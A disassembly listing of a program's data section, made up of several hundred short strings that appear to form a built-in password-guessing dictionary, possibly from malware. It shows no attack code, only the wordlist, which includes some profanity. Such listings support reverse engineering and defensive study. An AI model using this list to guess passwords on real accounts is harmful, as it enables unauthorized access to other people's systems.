aYaco		db 'yaco',0             ; DATA XREF: .data:004304A0o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: .data:0043049Co
		align 4
aXray		db 'xray',0             ; DATA XREF: .data:00430498o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: .data:00430494o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: .data:00430490o
		align 4
aXman		db 'xman',0             ; DATA XREF: .data:0043048Co
		align 4
aXfer		db 'xfer',0             ; DATA XREF: .data:00430488o
		align 4
aXena		db 'xena',0             ; DATA XREF: .data:00430484o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: .data:00430480o
aWwii		db 'wwii',0             ; DATA XREF: .data:0043047Co
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: .data:00430478o
		align 4
aWorm		db 'worm',0             ; DATA XREF: .data:00430474o
		align 10h
aWork		db 'work',0             ; DATA XREF: .data:00430470o
		align 4
aWorf		db 'worf',0             ; DATA XREF: .data:0043046Co
		align 10h
aWordperf	db 'wordperf',0         ; DATA XREF: .data:00430468o
		align 4
aWord		db 'word',0             ; DATA XREF: .data:00430464o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: .data:00430460o
		align 10h
aWood		db 'wood',0             ; DATA XREF: .data:0043045Co
		align 4
aWomen		db 'women',0            ; DATA XREF: .data:00430458o
		align 10h
aWombat		db 'wombat',0           ; DATA XREF: .data:00430454o
		align 4
aWoman		db 'woman',0            ; DATA XREF: .data:00430450o
		align 10h
aWolverin	db 'wolverin',0         ; DATA XREF: .data:0043044Co
		align 4
aWolf		db 'wolf',0             ; DATA XREF: .data:00430448o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: .data:00430444o
		align 4
aWithin		db 'within',0           ; DATA XREF: .data:00430440o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: .data:0043043Co
aWisconsi	db 'wisconsi',0         ; DATA XREF: .data:00430438o
		align 4
aWired		db 'wired',0            ; DATA XREF: .data:00430434o
		align 10h
aWinston	db 'winston',0          ; DATA XREF: .data:00430430o
aWing		db 'wing',0             ; DATA XREF: .data:0043042Co
		align 10h
aWine		db 'wine',0             ; DATA XREF: .data:00430428o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:00430424o
aWilma		db 'wilma',0            ; DATA XREF: .data:00430420o
		align 4
aWillie		db 'willie',0           ; DATA XREF: .data:0043041Co
		align 10h
aWilliams	db 'williams',0         ; DATA XREF: .data:00430418o
		align 4
aWilliam	db 'william',0          ; DATA XREF: .data:00430414o
aWill		db 'will',0             ; DATA XREF: .data:00430410o
		align 4
aWhore		db 'whore',0            ; DATA XREF: .data:0043040Co
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: .data:00430408o
		align 10h
aWhitney	db 'whitney',0          ; DATA XREF: .data:00430404o
aWhiting	db 'whiting',0          ; DATA XREF: .data:00430400o
aWhite		db 'white',0            ; DATA XREF: .data:004303FCo
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: .data:004303F8o
		align 10h
aWhatnot	db 'whatnot',0          ; DATA XREF: .data:004303F4o
aWhatever	db 'whatever',0         ; DATA XREF: .data:004303F0o
		align 4
aWestern	db 'western',0          ; DATA XREF: .data:004303ECo
aWest		db 'west',0             ; DATA XREF: .data:004303E8o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: .data:004303E4o
		align 10h
aWendy		db 'wendy',0            ; DATA XREF: .data:004303E0o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: .data:004303DCo
		align 10h
aWell		db 'well',0             ; DATA XREF: .data:004303D8o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: .data:004303D4o
		align 10h
aWeed		db 'weed',0             ; DATA XREF: .data:004303D0o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: .data:004303CCo
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: .data:004303C8o
aWave		db 'wave',0             ; DATA XREF: .data:004303C4o
		align 4
aWater		db 'water',0            ; DATA XREF: .data:004303C0o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: .data:004303BCo
		align 4
aWasp		db 'wasp',0             ; DATA XREF: .data:004303B8o
		align 10h
aWarren		db 'warren',0           ; DATA XREF: .data:004303B4o
		align 4
aWarp		db 'warp',0             ; DATA XREF: .data:004303B0o
		align 10h
aWargames	db 'wargames',0         ; DATA XREF: .data:004303ACo
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: .data:004303A8o
aWarez		db 'warez',0            ; DATA XREF: .data:004303A4o
		align 4
aWard		db 'ward',0             ; DATA XREF: .data:004303A0o
		align 4
aWaco		db 'waco',0             ; DATA XREF: .data:0043039Co
		align 4
aVodka		db 'vodka',0            ; DATA XREF: .data:00430398o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: .data:00430394o
		align 10h
aVisual		db 'visual',0           ; DATA XREF: .data:00430390o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: .data:0043038Co
aVirus		db 'virus',0            ; DATA XREF: .data:00430388o
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: .data:00430384o
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: .data:00430380o
		align 4
aVillage	db 'village',0          ; DATA XREF: .data:0043037Co
aVideogam	db 'videogam',0         ; DATA XREF: .data:00430378o
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_40EC43:loc_413327o
					; .data:00430374o
		align 4
aVictor		db 'victor',0           ; DATA XREF: .data:00430370o
		align 10h
aVicky		db 'vicky',0            ; DATA XREF: .data:0043036Co
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: .data:00430368o
aVeronica	db 'veronica',0         ; DATA XREF: .data:00430364o
		align 4
aVenus		db 'venus',0            ; DATA XREF: .data:00430360o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: .data:0043035Co
		align 4
aVampire	db 'vampire',0          ; DATA XREF: .data:00430358o
aValerie	db 'valerie',0          ; DATA XREF: .data:00430354o
aVagina		db 'vagina',0           ; DATA XREF: .data:00430350o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: .data:0043034Co
		align 4
aUtility	db 'utility',0          ; DATA XREF: .data:00430348o
aUtil		db 'util',0             ; DATA XREF: .data:00430344o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: .data:00430340o
		align 4
aUsername_0	db 'username',0         ; DATA XREF: .data:0043033Co
		align 10h
aUsermane	db 'usermane',0         ; DATA XREF: .data:00430338o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: .data:00430334o
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: .data:00430330o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: .data:0043032Co
		align 4
aUranus		db 'uranus',0           ; DATA XREF: .data:00430328o
		align 4
aUpload		db 'upload',0           ; DATA XREF: .data:00430324o
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: .data:00430320o
		align 4
aUnknown_1	db 'unknown',0          ; DATA XREF: .data:0043031Co
aUniversi	db 'universi',0         ; DATA XREF: .data:00430318o
		align 10h
aUniverse	db 'universe',0         ; DATA XREF: .data:00430314o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: .data:00430310o
		align 4
aUniform	db 'uniform',0          ; DATA XREF: .data:0043030Co
aUnicorn	db 'unicorn',0          ; DATA XREF: .data:00430308o
aUnhappy	db 'unhappy',0          ; DATA XREF: .data:00430304o
aUndo		db 'undo',0             ; DATA XREF: .data:00430300o
		align 4
aUncle		db 'uncle',0            ; DATA XREF: .data:004302FCo
		align 10h
aUmesh		db 'umesh',0            ; DATA XREF: .data:004302F8o
		align 4
aUgly		db 'ugly',0             ; DATA XREF: .data:004302F4o
		align 10h
aTuttle		db 'tuttle',0           ; DATA XREF: .data:004302F0o
		align 4
aTurn		db 'turn',0             ; DATA XREF: .data:004302ECo
		align 10h
aTuesday	db 'tuesday',0          ; DATA XREF: .data:004302E8o
aTubas		db 'tubas',0            ; DATA XREF: .data:004302E4o
		align 10h
aTruth		db 'truth',0            ; DATA XREF: .data:004302E0o
		align 4
aTrue		db 'true',0             ; DATA XREF: .data:004302DCo
		align 10h
aTron		db 'tron',0             ; DATA XREF: .data:004302D8o
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: .data:004302D4o
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: .data:004302D0o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: .data:004302CCo
aTrisha		db 'trisha',0           ; DATA XREF: .data:004302C8o
		align 4
aTrek		db 'trek',0             ; DATA XREF: .data:004302C4o
		align 4
aTree		db 'tree',0             ; DATA XREF: .data:004302C0o
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: .data:004302BCo
		align 4
aTrap		db 'trap',0             ; DATA XREF: .data:004302B8o
		align 10h
aTransfer	db 'transfer',0         ; DATA XREF: .data:004302B4o
		align 4
aTrails		db 'trails',0           ; DATA XREF: .data:004302B0o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: .data:004302ACo
		align 4
aTracie		db 'tracie',0           ; DATA XREF: .data:004302A8o
		align 4
aTraci		db 'traci',0            ; DATA XREF: .data:004302A4o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: .data:004302A0o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: .data:0043029Co
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: .data:00430298o
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: .data:00430294o
		align 4
aTomato		db 'tomato',0           ; DATA XREF: .data:00430290o
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: .data:0043028Co
		align 4
aToken		db 'token',0            ; DATA XREF: .data:00430288o
		align 10h
aToggle		db 'toggle',0           ; DATA XREF: .data:00430284o
		align 4
aToad		db 'toad',0             ; DATA XREF: .data:00430280o
		align 10h
aTits		db 'tits',0             ; DATA XREF: .data:0043027Co
		align 4
aTina		db 'tina',0             ; DATA XREF: .data:00430278o
		align 10h
aTime		db 'time',0             ; DATA XREF: .data:00430274o
		align 4
aTiger		db 'tiger',0            ; DATA XREF: .data:00430270o
		align 10h
aTiffany	db 'tiffany',0          ; DATA XREF: .data:0043026Co
aThursday	db 'thursday',0         ; DATA XREF: .data:00430268o
		align 4
aThin		db 'thin',0             ; DATA XREF: .data:00430264o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: .data:00430260o
aThailand	db 'thailand',0         ; DATA XREF: .data:0043025Co
		align 10h
aText		db 'text',0             ; DATA XREF: .data:00430258o
		align 4
aTetris		db 'tetris',0           ; DATA XREF: .data:00430254o
		align 10h
aTess		db 'tess',0             ; DATA XREF: .data:00430250o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: .data:0043024Co
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: .data:00430248o
		align 10h
aTera		db 'tera',0             ; DATA XREF: .data:00430244o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: .data:00430240o
		align 10h
aTemptati	db 'temptati',0         ; DATA XREF: .data:0043023Co
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: .data:00430238o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: .data:00430234o
		align 10h
aTeenage	db 'teenage',0          ; DATA XREF: .data:00430230o
aTeen		db 'teen',0             ; DATA XREF: .data:0043022Co
		align 10h
aTech		db 'tech',0             ; DATA XREF: .data:00430228o
		align 4
aTears		db 'tears',0            ; DATA XREF: .data:00430224o
		align 10h
aTeapot		db 'teapot',0           ; DATA XREF: .data:00430220o
		align 4
aTeam		db 'team',0             ; DATA XREF: .data:0043021Co
		align 10h
aTaylor		db 'taylor',0           ; DATA XREF: .data:00430214o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: .data:00430210o
		align 4
aTarget		db 'target',0           ; DATA XREF: .data:0043020Co
		align 4
aTara		db 'tara',0             ; DATA XREF: .data:00430208o
		align 4
aTape		db 'tape',0             ; DATA XREF: .data:00430204o
		align 4
aTango		db 'tango',0            ; DATA XREF: .data:00430200o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: .data:004301FCo
		align 10h
aTammy		db 'tammy',0            ; DATA XREF: .data:004301F8o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: .data:004301F4o
		align 10h
aTami		db 'tami',0             ; DATA XREF: .data:004301F0o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: .data:004301ECo
		align 10h
aTall		db 'tall',0             ; DATA XREF: .data:004301E8o
		align 4
aTalk		db 'talk',0             ; DATA XREF: .data:004301E4o
		align 10h
aTabasco	db 'tabasco',0          ; DATA XREF: .data:004301E0o
aSysop		db 'sysop',0            ; DATA XREF: .data:004301DCo
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: .data:004301D8o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: .data:004301D4o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: .data:004301D0o
		align 10h
aSword		db 'sword',0            ; DATA XREF: .data:004301CCo
		align 4
aSwitch		db 'switch',0           ; DATA XREF: .data:004301C8o
		align 10h
aSweat		db 'sweat',0            ; DATA XREF: .data:004301C4o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: .data:004301C0o
aSuzie		db 'suzie',0            ; DATA XREF: .data:004301BCo
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: .data:004301B8o
aSusie		db 'susie',0            ; DATA XREF: .data:004301B4o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: .data:004301B0o
aSusan		db 'susan',0            ; DATA XREF: .data:004301ACo
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: .data:004301A8o
aSurfer		db 'surfer',0           ; DATA XREF: .data:004301A4o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: .data:004301A0o
		align 4
aSupport	db 'support',0          ; DATA XREF: .data:0043019Co
aSupervis	db 'supervis',0         ; DATA XREF: .data:00430198o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: .data:00430194o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: .data:00430190o
		align 10h
aSuperson	db 'superson',0         ; DATA XREF: .data:0043018Co
		align 4
aSuperman	db 'superman',0         ; DATA XREF: .data:00430188o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: .data:00430184o
		align 10h
aSummer		db 'summer',0           ; DATA XREF: .data:00430180o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: .data:0043017Co
		align 10h
aSuckmydi	db 'suckmydi',0         ; DATA XREF: .data:00430178o
		align 4
aSuck		db 'suck',0             ; DATA XREF: .data:00430174o
		align 4
aSuccess	db 'success',0          ; DATA XREF: .data:00430170o
aSubway		db 'subway',0           ; DATA XREF: .data:0043016Co
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: .data:00430168o
		align 10h
aStuttgar	db 'stuttgar',0         ; DATA XREF: .data:00430164o
		align 4
aStrip		db 'strip',0            ; DATA XREF: .data:0043015Co
		align 4
aString		db 'string',0           ; DATA XREF: .data:00430158o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: .data:00430154o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: .data:00430150o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: .data:0043014Co
		align 10h
aStrange	db 'strange',0          ; DATA XREF: .data:00430148o
aStones		db 'stones',0           ; DATA XREF: .data:00430144o
		align 10h
aStoned		db 'stoned',0           ; DATA XREF: .data:00430140o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: .data:0043013Co
		align 4
aSteve		db 'steve',0            ; DATA XREF: .data:00430138o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: .data:00430134o
		align 4
aStephani	db 'stephani',0         ; DATA XREF: .data:00430130o
		align 10h
aSteph		db 'steph',0            ; DATA XREF: .data:0043012Co
		align 4
aSteel		db 'steel',0            ; DATA XREF: .data:00430128o
		align 10h
aSteal		db 'steal',0            ; DATA XREF: .data:00430124o
		align 4
aSteak		db 'steak',0            ; DATA XREF: .data:00430120o
		align 10h
aStarwars	db 'starwars',0         ; DATA XREF: .data:0043011Co
		align 4
aStartup	db 'startup',0          ; DATA XREF: .data:00430118o
aStartrek	db 'startrek',0         ; DATA XREF: .data:00430114o
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_40EC43+1FA8o
					; .data:00430110o
		align 4
aStarship	db 'starship',0         ; DATA XREF: .data:0043010Co
		align 4
aStar		db 'star',0             ; DATA XREF: .data:00430108o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: .data:00430104o
		align 4
aStacie		db 'stacie',0           ; DATA XREF: .data:00430100o
		align 4
aStaci		db 'staci',0            ; DATA XREF: .data:004300FCo
		align 4
aStacey		db 'stacey',0           ; DATA XREF: .data:004300F8o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: .data:004300F4o
		align 4
aSquires	db 'squires',0          ; DATA XREF: .data:004300F0o
aSpunk		db 'spunk',0            ; DATA XREF: .data:004300ECo
		align 4
aSpringer	db 'springer',0         ; DATA XREF: .data:004300E8o
		align 10h
aSpring		db 'spring',0           ; DATA XREF: .data:004300E4o
		align 4
aSpred		db 'spred',0            ; DATA XREF: .data:004300E0o
		align 10h
aSpit		db 'spit',0             ; DATA XREF: .data:004300DCo
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: .data:004300D8o
		align 4
aSpider		db 'spider',0           ; DATA XREF: .data:004300D4o
		align 4
aSpice		db 'spice',0            ; DATA XREF: .data:004300D0o
		align 4
aSpell		db 'spell',0            ; DATA XREF: .data:004300CCo
		align 4
aSpear		db 'spear',0            ; DATA XREF: .data:004300C8o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: .data:004300C4o
		align 10h
aSpaceshi	db 'spaceshi',0         ; DATA XREF: .data:004300C0o
		align 4
aSouth		db 'south',0            ; DATA XREF: .data:004300BCo
		align 4
aSource		db 'source',0           ; DATA XREF: .data:004300B8o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: .data:004300B4o
aSonya		db 'sonya',0            ; DATA XREF: .data:004300B0o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: .data:004300ACo
		align 4
aSonia		db 'sonia',0            ; DATA XREF: .data:004300A8o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: .data:004300A4o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: .data:004300A0o
		align 10h
aSoftware	db 'software',0         ; DATA XREF: .data:0043009Co
		align 4
aSoft		db 'soft',0             ; DATA XREF: .data:00430098o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: .data:00430094o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: .data:00430090o
		align 4
aSocial		db 'social',0           ; DATA XREF: .data:0043008Co
		align 10h
aSoap		db 'soap',0             ; DATA XREF: .data:00430088o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: .data:00430084o
		align 10h
aSnatch		db 'snatch',0           ; DATA XREF: .data:00430080o
		align 4
aSnake		db 'snake',0            ; DATA XREF: .data:0043007Co
		align 10h
aSnafu		db 'snafu',0            ; DATA XREF: .data:00430078o
		align 4
aSnach		db 'snach',0            ; DATA XREF: .data:00430074o
		align 10h
aSmut		db 'smut',0             ; DATA XREF: .data:00430070o
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: .data:0043006Co
		align 10h
aSmother	db 'smother',0          ; DATA XREF: .data:00430068o
aSmooch		db 'smooch',0           ; DATA XREF: .data:00430064o
		align 10h
aSmiles		db 'smiles',0           ; DATA XREF: .data:00430060o
		align 4
aSmile		db 'smile',0            ; DATA XREF: .data:off_43005Co
		align 10h
aSmart		db 'smart',0            ; DATA XREF: .data:00430058o
		align 4
aSmall		db 'small',0            ; DATA XREF: .data:00430054o
		align 10h
aSlut		db 'slut',0             ; DATA XREF: .data:off_430050o
		align 4
aSlow		db 'slow',0             ; DATA XREF: .data:0043004Co
		align 10h
aSliders	db 'sliders',0          ; DATA XREF: .data:00430048o
aSlick		db 'slick',0            ; DATA XREF: .data:00430044o
		align 10h
aSlave		db 'slave',0            ; DATA XREF: .data:00430040o
		align 4
aSkull		db 'skull',0            ; DATA XREF: .data:0043003Co
		align 10h
aSite		db 'site',0             ; DATA XREF: .data:00430038o
		align 4
aSingle		db 'single',0           ; DATA XREF: .data:00430034o
		align 10h
aSinger		db 'singer',0           ; DATA XREF: .data:00430030o
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: .data:0043002Co
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: .data:00430028o
		align 10h
aSimple		db 'simple',0           ; DATA XREF: .data:00430024o
		align 4
aSimon		db 'simon',0            ; DATA XREF: .data:00430020o
		align 10h
aSimcity	db 'simcity',0          ; DATA XREF: .data:0043001Co
aSilver		db 'silver',0           ; DATA XREF: .data:00430018o
		align 10h
aSignatur	db 'signatur',0         ; DATA XREF: .data:00430014o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: .data:00430010o
		align 4
aSick		db 'sick',0             ; DATA XREF: .data:0043000Co
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: .data:00430008o
aShort		db 'short',0            ; DATA XREF: .data:00430004o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: .data:00430000o
aShiva		db 'shiva',0            ; DATA XREF: .data:0042FFFCo
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: .data:0042FFF8o
aShit		db 'shit',0             ; DATA XREF: .data:0042FFF4o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: .data:0042FFF0o
aShift		db 'shift',0            ; DATA XREF: .data:0042FFECo
		align 4
aSherri		db 'sherri',0           ; DATA XREF: .data:0042FFE8o
		align 4
aShell		db 'shell',0            ; DATA XREF: .data:0042FFE4o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: .data:0042FFE0o
aSheffiel	db 'sheffiel',0         ; DATA XREF: .data:0042FFDCo
		align 10h
aSharon		db 'sharon',0           ; DATA XREF: .data:0042FFD8o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: .data:0042FFD4o
		align 10h
aShark		db 'shark',0            ; DATA XREF: .data:0042FFD0o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: .data:0042FFCCo
		align 10h
aShannon	db 'shannon',0          ; DATA XREF: .data:0042FFC8o
aSexy		db 'sexy',0             ; DATA XREF: .data:0042FFC4o
		align 10h
aSesame		db 'sesame',0           ; DATA XREF: .data:0042FFC0o
		align 4
aService	db 'service',0          ; DATA XREF: .data:0042FFBCo
aSerial_0	db 'serial',0           ; DATA XREF: .data:0042FFB8o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: .data:0042FFB4o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: .data:0042FFB0o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: .data:0042FFACo
		align 4
aSensor		db 'sensor',0           ; DATA XREF: .data:0042FFA8o
		align 10h
aSega		db 'sega',0             ; DATA XREF: .data:0042FFA4o
		align 4
aSeed		db 'seed',0             ; DATA XREF: .data:0042FFA0o
		align 10h
aSecurity	db 'security',0         ; DATA XREF: .data:0042FF9Co
		align 4
aSearch		db 'search',0           ; DATA XREF: .data:0042FF98o
		align 4
aScout		db 'scout',0            ; DATA XREF: .data:0042FF94o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: .data:0042FF90o
		align 4
aScott		db 'scott',0            ; DATA XREF: .data:0042FF8Co
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: .data:0042FF88o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: .data:0042FF84o
		align 10h
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: .data:0042FF80o
aSchool		db 'school',0           ; DATA XREF: .data:0042FF7Co
		align 4
aScheme		db 'scheme',0           ; DATA XREF: .data:0042FF78o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: .data:0042FF74o
aSaxon		db 'saxon',0            ; DATA XREF: .data:0042FF70o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: .data:0042FF6Co
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: .data:0042FF68o
		align 10h
aSarah		db 'sarah',0            ; DATA XREF: .data:0042FF64o
		align 4
aSara		db 'sara',0             ; DATA XREF: .data:0042FF60o
		align 10h
aSandy		db 'sandy',0            ; DATA XREF: .data:0042FF5Co
		align 4
aSandra		db 'sandra',0           ; DATA XREF: .data:0042FF58o
		align 10h
aSample		db 'sample',0           ; DATA XREF: .data:0042FF54o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: .data:0042FF50o
		align 4
aSalt		db 'salt',0             ; DATA XREF: .data:0042FF4Co
		align 4
aSale		db 'sale',0             ; DATA XREF: .data:0042FF48o
		align 4
aSalami		db 'salami',0           ; DATA XREF: .data:0042FF44o
		align 4
aSafe		db 'safe',0             ; DATA XREF: .data:0042FF40o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: .data:0042FF3Co
		align 4
aRush		db 'rush',0             ; DATA XREF: .data:0042FF38o
		align 4
aRunning_0	db 'running',0          ; DATA XREF: .data:0042FF34o
aRules		db 'rules',0            ; DATA XREF: .data:0042FF30o
		align 4
aRude		db 'rude',0             ; DATA XREF: .data:0042FF2Co
		align 4
aRuby		db 'ruby',0             ; DATA XREF: .data:0042FF28o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: .data:0042FF24o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: .data:0042FF20o
		align 4
aRough		db 'rough',0            ; DATA XREF: .data:0042FF1Co
		align 4
aRoses		db 'roses',0            ; DATA XREF: .data:0042FF18o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: .data:0042FF14o
		align 10h
aRosebud	db 'rosebud',0          ; DATA XREF: .data:0042FF10o
aRose		db 'rose',0             ; DATA XREF: .data:0042FF0Co
		align 10h
aRonald		db 'ronald',0           ; DATA XREF: .data:0042FF08o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: .data:0042FF04o
aRomeo		db 'romeo',0            ; DATA XREF: .data:0042FF00o
		align 4
aRomano		db 'romano',0           ; DATA XREF: .data:0042FEFCo
		align 10h
aRolex		db 'rolex',0            ; DATA XREF: .data:0042FEF8o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: .data:0042FEF4o
		align 10h
aRockyhor	db 'rockyhor',0         ; DATA XREF: .data:0042FEF0o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: .data:0042FEECo
		align 4
aRock		db 'rock',0             ; DATA XREF: .data:0042FEE8o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: .data:0042FEE4o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: .data:0042FEE0o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: .data:0042FEDCo
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: .data:0042FED8o
		align 4
aRobot		db 'robot',0            ; DATA XREF: .data:0042FED4o
		align 10h
aRobin		db 'robin',0            ; DATA XREF: .data:0042FED0o
		align 4
aRobert		db 'robert',0           ; DATA XREF: .data:0042FECCo
		align 10h
aRoach		db 'roach',0            ; DATA XREF: .data:0042FEC8o
		align 4
aRisc		db 'risc',0             ; DATA XREF: .data:0042FEC4o
		align 10h
aRipple		db 'ripple',0           ; DATA XREF: .data:0042FEC0o
		align 4
aRiot		db 'riot',0             ; DATA XREF: .data:0042FEBCo
		align 10h
aRing		db 'ring',0             ; DATA XREF: .data:0042FEB8o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: .data:0042FEB4o
		align 4
aRight		db 'right',0            ; DATA XREF: .data:0042FEB0o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: .data:0042FEACo
		align 4
aRick		db 'rick',0             ; DATA XREF: .data:0042FEA8o
		align 10h
aRich		db 'rich',0             ; DATA XREF: .data:0042FEA4o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: .data:0042FEA0o
		align 10h
aReveal		db 'reveal',0           ; DATA XREF: .data:0042FE9Co
		align 4
aResistan	db 'resistan',0         ; DATA XREF: .data:0042FE98o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: .data:0042FE94o
		align 10h
aReport		db 'report',0           ; DATA XREF: .data:0042FE90o
		align 4
aRent		db 'rent',0             ; DATA XREF: .data:0042FE8Co
		align 10h
aReno		db 'reno',0             ; DATA XREF: .data:0042FE88o
		align 4
aRenee		db 'renee',0            ; DATA XREF: .data:0042FE84o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: .data:0042FE80o
		align 4
aRelease	db 'release',0          ; DATA XREF: .data:0042FE7Co
aRegional	db 'regional',0         ; DATA XREF: .data:0042FE78o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: .data:0042FE74o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: .data:0042FE70o
aReddawn	db 'reddawn',0          ; DATA XREF: .data:0042FE6Co
aRecord		db 'record',0           ; DATA XREF: .data:0042FE68o
		align 10h
aRebel		db 'rebel',0            ; DATA XREF: .data:0042FE64o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: .data:0042FE60o
aRebal		db 'rebal',0            ; DATA XREF: .data:0042FE5Co
		align 4
aReaper		db 'reaper',0           ; DATA XREF: .data:0042FE58o
		align 10h
aReam		db 'ream',0             ; DATA XREF: .data:0042FE54o
		align 4
aReally		db 'really',0           ; DATA XREF: .data:0042FE50o
		align 10h
aReality	db 'reality',0          ; DATA XREF: .data:0042FE4Co
aReagan		db 'reagan',0           ; DATA XREF: .data:0042FE48o
		align 10h
aRazor		db 'razor',0            ; DATA XREF: .data:0042FE44o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: .data:0042FE40o
		align 10h
aRape		db 'rape',0             ; DATA XREF: .data:0042FE3Co
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: .data:0042FE34o
aRaindrop	db 'raindrop',0         ; DATA XREF: .data:0042FE30o
		align 4
